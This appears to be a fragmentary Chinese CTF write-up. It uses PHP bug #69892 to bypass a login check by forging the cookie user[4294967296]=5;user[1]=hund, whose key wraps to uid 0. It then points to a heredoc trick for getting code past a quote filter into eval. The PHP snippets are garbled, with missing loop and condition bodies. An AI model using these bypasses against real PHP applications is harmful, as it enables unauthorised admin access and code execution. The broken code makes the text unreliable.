小組任務1 phpbug 69892

參考文獻：

1.php的bug＃69892

$users = array(

"0:9b5c3d2b64b8f74e56edec71462bd97a" ,
"1:4eb5fb1501102508a86971773849d266",
"2:facabd94d57fc9f1e655ef9ce891e86e",
"3:ce3924f011fe323df3a6a95222b0c909",
"4:7f6618422e6a7ca2e939bd83abde402c",
"5:06e2b745f3124f7d670f78eabaa94809", //hund
"6:8e39a6e40900bb0824a8e150c0d0d59f",
"7:d035e1a80bbb377ce1edce42728849f2",
"8:0927d64a71a9d0078c274fc5f4f10821",
"9:e2e23d64a642ee82c7a270c6c76df142",
"10:70298593dd7ada576aff61b6750b9118"
);$valid_user = false;
$input = $_cookie['user'];
$input[1] = md5($input[1]);
foreach ($users as $user)
}if (!$valid_user) 
if ($uid == 0) else

看見0~10這些內容第一反應就是md5解密，都試過一遍之後發現只有第五個能解出來，user[0]=5;user[1]=hund這個就可以得到你是普通使用者的歡迎資訊了，但是想要的是管理員的，所以得嘗試將$uid=0這個條件實現，這個時候就需用到php的bug＃69892

[2015-06-20 14:29 utc] [email protected] 描述： ------------

var_dump（[0 => 0] === [0x100000000 => 0]）; //布林（true） 
所有版本：

php執行在32位系統的會將陣列的鍵 0x100000000=2^32=4294967296 變換為字串，而在64位系統會直接 陣列中的鍵4294967296 為unsigned long 型別 且等同於0

cookie: user[4294967296]=5;user[1]=hund;

<?php

// closure, because of namespace!
$challenge = function()
trycatch (exception $e)
return ($spaceone === '1337');
};?>

可以用heredoc構造繞過單引號

《內容中不能包括特殊符號，以乙個變數起始，以相同的變數名+;結束(還要再加上乙個換行符！)

?eval=<<